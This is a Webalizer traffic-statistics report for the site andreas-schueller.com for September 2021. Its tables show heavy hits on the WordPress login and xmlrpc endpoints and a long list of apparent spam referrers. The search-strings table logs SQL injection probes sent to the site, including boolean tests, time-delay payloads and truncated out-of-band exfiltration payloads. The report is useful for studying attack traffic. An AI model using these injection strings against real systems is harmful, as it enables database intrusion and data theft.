Usage Statistics for andreas-schueller.com

Summary Period: September 2021
Generated 01-Oct-2021 03:39 CEST

[Daily Statistics] [Hourly Statistics] [URLs] [Entry] [Exit] [Sites] [Referrers] [Search] [Agents] [Countries]

Monthly Statistics for September 2021
Total Hits 815313
Total Files 629108
Total Pages 806313
Total Visits 18538
Total KBytes 1774358
Total Unique Sites 5392
Total Unique URLs 705
Total Unique Referrers 593
Total Unique User Agents 940
. Avg Max
Hits per Hour 1132 10848
Hits per Day 27177 53842
Files per Day 20970 45797
Pages per Day 26877 53705
Visits per Day 617 955
KBytes per Day 59145 127808
Hits by Response Code
Undefined response code 36
Code 200 - OK 629108
Code 206 - Partial Content 37
Code 301 - Moved Permanently 172829
Code 302 - Found 67
Code 304 - Not Modified 12
Code 401 - Unauthorized 27
Code 403 - Forbidden 226
Code 404 - Not Found 12883
Code 405 - Method Not Allowed 16
Code 500 - Internal Server Error 61
Code 501 - Not Implemented 11

Daily usage for September 2021

Daily Statistics for September 2021
Day Hits Files Pages Visits Sites KBytes
1 10486 1.29% 10245 1.63% 10359 1.28% 497 2.68% 230 4.27% 40093 2.26%
2 11707 1.44% 11438 1.82% 11619 1.44% 853 4.60% 632 11.72% 42980 2.42%
3 18536 2.27% 18362 2.92% 18318 2.27% 675 3.64% 422 7.83% 48044 2.71%
4 7454 0.91% 7273 1.16% 7333 0.91% 732 3.95% 440 8.16% 37980 2.14%
5 22700 2.78% 22383 3.56% 22604 2.80% 541 2.92% 233 4.32% 56129 3.16%
6 17392 2.13% 17074 2.71% 17225 2.14% 513 2.77% 218 4.04% 49843 2.81%
7 7625 0.94% 7241 1.15% 7534 0.93% 673 3.63% 331 6.14% 44439 2.50%
8 20702 2.54% 20264 3.22% 20522 2.55% 831 4.48% 448 8.31% 62786 3.54%
9 19117 2.34% 17519 2.78% 19005 2.36% 788 4.25% 435 8.07% 53015 2.99%
10 34045 4.18% 25153 4.00% 33943 4.21% 698 3.77% 369 6.84% 40802 2.30%
11 24646 3.02% 15247 2.42% 24557 3.05% 764 4.12% 389 7.21% 32557 1.83%
12 30845 3.78% 25404 4.04% 30733 3.81% 665 3.59% 344 6.38% 38517 2.17%
13 25117 3.08% 15800 2.51% 25001 3.10% 682 3.68% 357 6.62% 34506 1.94%
14 25840 3.17% 16959 2.70% 25616 3.18% 689 3.72% 380 7.05% 40659 2.29%
15 34983 4.29% 26739 4.25% 34852 4.32% 712 3.84% 484 8.98% 57178 3.22%
16 29787 3.65% 21482 3.41% 29655 3.68% 492 2.65% 321 5.95% 55426 3.12%
17 22558 2.77% 13520 2.15% 22352 2.77% 568 3.06% 376 6.97% 41309 2.33%
18 20769 2.55% 11854 1.88% 20598 2.55% 585 3.16% 385 7.14% 36440 2.05%
19 17272 2.12% 10485 1.67% 17111 2.12% 494 2.66% 303 5.62% 45185 2.55%
20 36964 4.53% 28319 4.50% 36867 4.57% 459 2.48% 265 4.91% 85137 4.80%
21 22999 2.82% 14034 2.23% 22886 2.84% 497 2.68% 302 5.60% 52699 2.97%
22 37411 4.59% 28572 4.54% 37315 4.63% 590 3.18% 387 7.18% 70436 3.97%
23 31491 3.86% 22701 3.61% 31236 3.87% 955 5.15% 741 13.74% 65017 3.66%
24 52875 6.49% 43999 6.99% 52552 6.52% 712 3.84% 440 8.16% 127808 7.20%
25 31351 3.85% 15382 2.45% 26894 3.34% 488 2.63% 234 4.34% 104890 5.91%
26 25741 3.16% 20094 3.19% 25603 3.18% 613 3.31% 380 7.05% 58199 3.28%
27 28812 3.53% 20096 3.19% 28521 3.54% 481 2.59% 278 5.16% 56970 3.21%
28 53842 6.60% 45334 7.21% 53705 6.66% 416 2.24% 210 3.89% 115301 6.50%
29 39150 4.80% 30338 4.82% 38932 4.83% 424 2.29% 231 4.28% 91729 5.17%
30 53096 6.51% 45797 7.28% 52865 6.56% 549 2.96% 341 6.32% 88283 4.98%

Hourly usage for September 2021

Hourly Statistics for September 2021
Hour Hits Files Pages KBytes
Avg Total Avg Total Avg Total Avg Total
0 984 29525 3.62% 762 22869 3.64% 979 29393 3.65% 1821 54619 3.08%
1 1017 30538 3.75% 789 23682 3.76% 1012 30381 3.77% 2281 68442 3.86%
2 1236 37089 4.55% 989 29692 4.72% 1233 36990 4.59% 2445 73355 4.13%
3 1072 32166 3.95% 814 24424 3.88% 1069 32092 3.98% 2207 66211 3.73%
4 883 26507 3.25% 628 18849 3.00% 878 26361 3.27% 2166 64988 3.66%
5 1234 37038 4.54% 970 29118 4.63% 1228 36849 4.57% 2810 84290 4.75%
6 1180 35428 4.35% 913 27405 4.36% 1176 35293 4.38% 2588 77642 4.38%
7 1262 37874 4.65% 1000 30001 4.77% 1253 37613 4.66% 2453 73595 4.15%
8 997 29922 3.67% 744 22331 3.55% 991 29749 3.69% 2035 61060 3.44%
9 1183 35498 4.35% 934 28045 4.46% 1174 35235 4.37% 2496 74876 4.22%
10 961 28839 3.54% 709 21274 3.38% 949 28471 3.53% 2592 77774 4.38%
11 1078 32342 3.97% 828 24853 3.95% 1071 32141 3.99% 2598 77929 4.39%
12 1038 31153 3.82% 755 22676 3.60% 1020 30610 3.80% 2227 66803 3.76%
13 929 27880 3.42% 596 17906 2.85% 890 26723 3.31% 2156 64680 3.65%
14 2007 60220 7.39% 1538 46166 7.34% 1917 57536 7.14% 4266 127973 7.21%
15 1642 49272 6.04% 1363 40899 6.50% 1615 48477 6.01% 3520 105587 5.95%
16 1035 31064 3.81% 776 23291 3.70% 1024 30748 3.81% 2340 70207 3.96%
17 1290 38703 4.75% 1049 31482 5.00% 1285 38565 4.78% 2820 84609 4.77%
18 1281 38446 4.72% 1024 30727 4.88% 1275 38250 4.74% 2352 70557 3.98%
19 1492 44779 5.49% 1265 37964 6.03% 1483 44513 5.52% 2615 78455 4.42%
20 1044 31342 3.84% 814 24425 3.88% 1038 31143 3.86% 2424 72710 4.10%
21 886 26585 3.26% 661 19842 3.15% 879 26397 3.27% 2210 66288 3.74%
22 788 23643 2.90% 594 17825 2.83% 782 23484 2.91% 2054 61626 3.47%
23 648 19460 2.39% 445 13362 2.12% 643 19299 2.39% 1669 50080 2.82%

Top 30 of 705 Total URLs
# Hits KBytes URL
1 219913 26.97% 120387 6.78% /xmlrpc.php
2 172181 21.12% 120178 6.77% /
3 169492 20.79% 411099 23.17% /wp-login.php
4 36668 4.50% 376101 21.20% /webstat/
5 8109 0.99% 19729 1.11% /wp-login.php/wp-login.php
6 4173 0.51% 28987 1.63% /kontakt/
7 843 0.10% 103154 5.81% /webstat/usage_202010.html
8 784 0.10% 272 0.02% /robots.txt
9 415 0.05% 50368 2.84% /webstat/usage_202011.html
10 362 0.04% 44683 2.52% /webstat/usage_201703.html
11 347 0.04% 2050 0.12% /2009/06/1411/
12 345 0.04% 42270 2.38% /webstat/usage_202109.html
13 329 0.04% 40261 2.27% /webstat/usage_202106.html
14 311 0.04% 30541 1.72% /webstat/usage_202012.html
15 303 0.04% 37398 2.11% /webstat/usage_202107.html
16 242 0.03% 43 0.00% /wp-cron.php
17 222 0.03% 3189 0.18% /wp-content/plugins/cforms/js/cforms.js
18 218 0.03% 1270 0.07% /wp-content/themes/schueller/style.css
19 217 0.03% 560 0.03% /wp-content/themes/schueller/includes/jquery.mousewheel.min.js
20 215 0.03% 11310 0.64% /wp-content/themes/schueller/includes/jquery-1.2.3.min.js
21 214 0.03% 2867 0.16% /wp-content/themes/schueller/includes/jScrollPane.js
22 209 0.03% 568 0.03% /wp-content/themes/schueller/includes/jquery.dimensions.min.js
23 208 0.03% 2455 0.14% /feed/
24 207 0.03% 1240 0.07% /2009/06/1311-2/
25 187 0.02% 291 0.02% /wp-content/themes/schueller/css/print.css
26 170 0.02% 1609 0.09% /wp-content/themes/schueller/css/screen.css
27 162 0.02% 19728 1.11% /webstat/usage_202102.html
28 152 0.02% 18487 1.04% /webstat/usage_202104.html
29 143 0.02% 17728 1.00% /webstat/usage_202105.html
30 142 0.02% 17360 0.98% /webstat/usage_202103.html

Top 10 of 705 Total URLs By KBytes
# Hits KBytes URL
1 169492 20.79% 411099 23.17% /wp-login.php
2 36668 4.50% 376101 21.20% /webstat/
3 219913 26.97% 120387 6.78% /xmlrpc.php
4 172181 21.12% 120178 6.77% /
5 843 0.10% 103154 5.81% /webstat/usage_202010.html
6 415 0.05% 50368 2.84% /webstat/usage_202011.html
7 362 0.04% 44683 2.52% /webstat/usage_201703.html
8 345 0.04% 42270 2.38% /webstat/usage_202109.html
9 329 0.04% 40261 2.27% /webstat/usage_202106.html
10 303 0.04% 37398 2.11% /webstat/usage_202107.html

Top 10 of 367 Total Entry Pages
# Hits Visits URL
1 36668 4.50% 4078 22.76% /webstat/
2 169492 20.79% 3338 18.63% /wp-login.php
3 219913 26.97% 2919 16.29% /xmlrpc.php
4 172181 21.12% 2784 15.54% /
5 843 0.10% 813 4.54% /webstat/usage_202010.html
6 4173 0.51% 800 4.46% /kontakt/
7 415 0.05% 321 1.79% /webstat/usage_202011.html
8 362 0.04% 300 1.67% /webstat/usage_201703.html
9 345 0.04% 230 1.28% /webstat/usage_202109.html
10 311 0.04% 207 1.16% /webstat/usage_202012.html

Top 10 of 356 Total Exit Pages
# Hits Visits URL
1 219913 26.97% 4524 25.49% /xmlrpc.php
2 36668 4.50% 4073 22.95% /webstat/
3 169492 20.79% 2563 14.44% /wp-login.php
4 172181 21.12% 2309 13.01% /
5 4173 0.51% 1295 7.30% /kontakt/
6 347 0.04% 244 1.37% /2009/06/1411/
7 362 0.04% 189 1.06% /webstat/usage_201703.html
8 345 0.04% 172 0.97% /webstat/usage_202109.html
9 843 0.10% 168 0.95% /webstat/usage_202010.html
10 208 0.03% 147 0.83% /feed/

Top 30 of 5392 Total Sites
# Hits Files KBytes Visits Hostname
1 335627 41.17% 167808 26.67% 101278 5.71% 234 1.26% 195.38.8.0
2 182979 22.44% 182495 29.01% 280227 15.79% 228 1.23% hostslick.com
3 94077 11.54% 93784 14.91% 131191 7.39% 148 0.80% 45.134.225.0
4 19793 2.43% 19786 3.15% 202982 11.44% 13 0.07% subnet.serverlux.ru
5 14851 1.82% 14846 2.36% 36354 2.05% 2 0.01% 191.101.174.0
6 14614 1.79% 5431 0.86% 49250 2.78% 42 0.23% vmi580122.contaboserver.net
7 12553 1.54% 12550 1.99% 13400 0.76% 1 0.01% 0.44.133.34.bc.googleusercontent.com
8 12443 1.53% 12440 1.98% 16226 0.91% 1 0.01% 13.92.45.0
9 12394 1.52% 12391 1.97% 13011 0.73% 1 0.01% 52.163.246.0
10 12176 1.49% 12173 1.93% 12478 0.70% 1 0.01% 0.154.72.34.bc.googleusercontent.com
11 9818 1.20% 9771 1.55% 7023 0.40% 2 0.01% 104.46.96.0
12 9436 1.16% 9435 1.50% 98959 5.58% 151 0.81% subnet.zomro.com
13 8028 0.98% 8025 1.28% 4629 0.26% 1 0.01% 143.244.177.0
14 4251 0.52% 4248 0.68% 2488 0.14% 1 0.01% 0.148.132.34.bc.googleusercontent.com
15 3846 0.47% 3846 0.61% 185014 10.43% 522 2.82% 5.188.210.0
16 3338 0.41% 3332 0.53% 2046 0.12% 1 0.01% 0.123.126.34.bc.googleusercontent.com
17 3162 0.39% 2145 0.34% 20256 1.14% 142 0.77% ecs-114-119-156-0.compute.hwclouds-dns.com
18 3007 0.37% 3004 0.48% 3647 0.21% 1 0.01% 20.110.75.0
19 2519 0.31% 2516 0.40% 3078 0.17% 1 0.01% stilt.foldbedding.com
20 2498 0.31% 2495 0.40% 3053 0.17% 1 0.01% 20.98.249.0
21 1666 0.20% 1663 0.26% 1015 0.06% 1 0.01% naza.link-wordpress
22 1610 0.20% 1464 0.23% 5609 0.32% 3 0.02% 93.178.6.0
23 1470 0.18% 1470 0.23% 15079 0.85% 4 0.02% 89-179-106-0.broadband.corbina.ru
24 1468 0.18% 1424 0.23% 3798 0.21% 2 0.01% 31.25.136.0
25 1467 0.18% 1464 0.23% 902 0.05% 1 0.01% 40.122.147.0
26 834 0.10% 831 0.13% 545 0.03% 1 0.01% ec2-3-94-146-0.compute-1.amazonaws.com
27 773 0.09% 770 0.12% 984 0.06% 1 0.01% 209.58.149.0
28 742 0.09% 718 0.11% 6053 0.34% 305 1.65% 185.191.171.0
29 654 0.08% 291 0.05% 3017 0.17% 3 0.02% 200.118.63.0
30 636 0.08% 636 0.10% 6631 0.37% 391 2.11% 103.216.82.0

Top 10 of 5392 Total Sites By KBytes
# Hits Files KBytes Visits Hostname
1 182979 22.44% 182495 29.01% 280227 15.79% 228 1.23% hostslick.com
2 19793 2.43% 19786 3.15% 202982 11.44% 13 0.07% subnet.serverlux.ru
3 3846 0.47% 3846 0.61% 185014 10.43% 522 2.82% 5.188.210.0
4 94077 11.54% 93784 14.91% 131191 7.39% 148 0.80% 45.134.225.0
5 335627 41.17% 167808 26.67% 101278 5.71% 234 1.26% 195.38.8.0
6 9436 1.16% 9435 1.50% 98959 5.58% 151 0.81% subnet.zomro.com
7 14614 1.79% 5431 0.86% 49250 2.78% 42 0.23% vmi580122.contaboserver.net
8 14851 1.82% 14846 2.36% 36354 2.05% 2 0.01% 191.101.174.0
9 3162 0.39% 2145 0.34% 20256 1.14% 142 0.77% ecs-114-119-156-0.compute.hwclouds-dns.com
10 12443 1.53% 12440 1.98% 16226 0.91% 1 0.01% 13.92.45.0

Top 30 of 593 Total Referrers
# Hits Referrer
1 290815 35.67% - (Direct Request)
2 17070 2.09% https://pozdrav365.ru
3 17021 2.09% https://vsi-vitannya.com.ua
4 17004 2.09% https://svyata.org.ua
5 17001 2.09% https://pryvitok.net.ua
6 16884 2.07% https://pryvitalka.com.ua
7 16861 2.07% https://wishguru.co.ua
8 16860 2.07% https://svyato-365.com.ua
9 16850 2.07% https://iwish.co.ua
10 16833 2.06% https://pryvitannya.com.ua
11 16831 2.06% https://bigpic.net.ua
12 16821 2.06% https://rozmalovky.com.ua
13 16739 2.05% https://na-svyata.com.ua
14 16730 2.05% https://pryvitay.net.ua
15 16705 2.05% https://kartynky.com.ua
16 16676 2.05% https://pobazhannya.com.ua
17 16591 2.03% https://svyato.org.ua
18 16578 2.03% https://pryvitannya.org.ua
19 16561 2.03% https://pobazhator.com.ua
20 16540 2.03% https://wishes.co.ua
21 16471 2.02% https://toasts.com.ua
22 4385 0.54% https://many-clients.ru
23 4086 0.50% https://rubankcard.ru
24 3598 0.44% https://exoticholiday.bg
25 3586 0.44% https://irondog.pro
26 3424 0.42% https://vds-shop.com
27 2511 0.31% https://himrusopt.ru
28 2313 0.28% https://www.maquestionmedicale.fr
29 2095 0.26% https://avilon-expert.ru
30 1976 0.24% https://familyicon.ru

Top 20 of 26 Total Search Strings
# Hits Search String
1 1 3.85% '
2 1 3.85% ' (select load_file('\\\\\\\\lc120zg9f3m6jk1o9i6nnwqhm8sygpjde0
3 1 3.85% ' (select*from(select(sleep(20)))a) '
4 1 3.85% ' and '4149'='4151
5 1 3.85% ' and '4876'='4876
6 1 3.85% ' and (select*from(select(sleep(20)))a)--
7 1 3.85% ' and 1228=1228--
8 1 3.85% ' and 2214=2214--
9 1 3.85% ' and 4886=4894--
10 1 3.85% ' waitfor delay'0:0:20'--
11 1 3.85% '(select*from(select(sleep(20)))a)'
12 1 3.85% ');declare @q varchar(99);set @q='\\\\xyzemb2l1f8i5wn0vusz98ct8
13 1 3.85% ')waitfor delay'0:0:20'--
14 1 3.85% '0)waitfor delay'0:0:20'--
15 1 3.85% ';declare @q varchar(99);set @q='\\\\n5t4t19b85f8cmuq2kzpgyjjfa
16 1 3.85% '||(select extractvalue(xmltype('
17 1 3.85% (select*from(select(sleep(20)))a)
18 1 3.85% );declare @q varchar(99);set @q='\\\\zgjg4dknjhqkny52dwa1rauvqm
19 1 3.85% 15129531' or '7028'='7028
20 1 3.85% 18453157' or '8881'='8881

Top 15 of 940 Total User Agents
# Hits User Agent
1 337690 41.42% Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.co
2 281541 34.53% Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML
3 120748 14.81% Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36
4 14840 1.82% Mozilla/5.0 (Windows NT 6.3; WOW64) AppleWebKit/537.36 (KHTML
5 6755 0.83% Mozilla/5.0 (Windows NT 6.3; Win64; x64) AppleWebKit/537.36 (
6 6277 0.77% Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (
7 4826 0.59% Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:62.0) Gecko/201001
8 4485 0.55% Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTM
9 4099 0.50% Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like
10 3367 0.41% Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like
11 3175 0.39% Mozilla/5.0 (Linux; Android 7.0;) AppleWebKit/537.36 (KHTML,
12 2580 0.32% Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; rv:11.0) li
13 2223 0.27% Mozilla/5.0 (Windows NT 6.1; ) AppleWebKit/537.36 (KHTML, lik
14 2212 0.27% Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (
15 1409 0.17% Mozilla/5.0 (Linux; U; Android 2.2) AppleWebKit/533.1 (KHTML,

Usage by Country for September 2021

Top 30 of 76 Total Countries
# Hits Files KBytes Country
1 535389 65.67% 361043 57.39% 858139 48.36% Unresolved/Unknown
2 235888 28.93% 233810 37.17% 504597 28.44% US Commercial
3 21816 2.68% 21775 3.46% 229664 12.94% Russian Federation
4 16963 2.08% 7709 1.23% 80876 4.56% Network
5 2588 0.32% 2283 0.36% 50499 2.85% Germany
6 439 0.05% 434 0.07% 2515 0.14% Brazil
7 209 0.03% 200 0.03% 2267 0.13% Ukraine
8 168 0.02% 153 0.02% 3920 0.22% Turkey
9 150 0.02% 150 0.02% 17951 1.01% Belarus
10 147 0.02% 133 0.02% 5233 0.29% Austria
11 123 0.02% 92 0.01% 1897 0.11% China
12 120 0.01% 120 0.02% 1578 0.09% Viet Nam
13 84 0.01% 67 0.01% 495 0.03% Canada
14 84 0.01% 84 0.01% 284 0.02% India
15 82 0.01% 75 0.01% 3384 0.19% United States
16 65 0.01% 60 0.01% 892 0.05% Greece
17 65 0.01% 62 0.01% 1299 0.07% Indonesia
18 62 0.01% 61 0.01% 127 0.01% Netherlands
19 62 0.01% 61 0.01% 2278 0.13% Thailand
20 57 0.01% 54 0.01% 142 0.01% Non-Profit Organization
21 53 0.01% 51 0.01% 372 0.02% Romania
22 52 0.01% 50 0.01% 90 0.01% British Indian Ocean Territory
23 45 0.01% 44 0.01% 126 0.01% Italy
24 44 0.01% 44 0.01% 208 0.01% Argentina
25 39 0.00% 39 0.01% 268 0.02% Poland
26 35 0.00% 28 0.00% 1029 0.06% Sweden
27 31 0.00% 28 0.00% 215 0.01% France
28 30 0.00% 30 0.00% 105 0.01% South Africa
29 28 0.00% 27 0.00% 275 0.02% Colombia
30 26 0.00% 25 0.00% 613 0.03% Czech Republic


Generated by Webalizer Version 2.01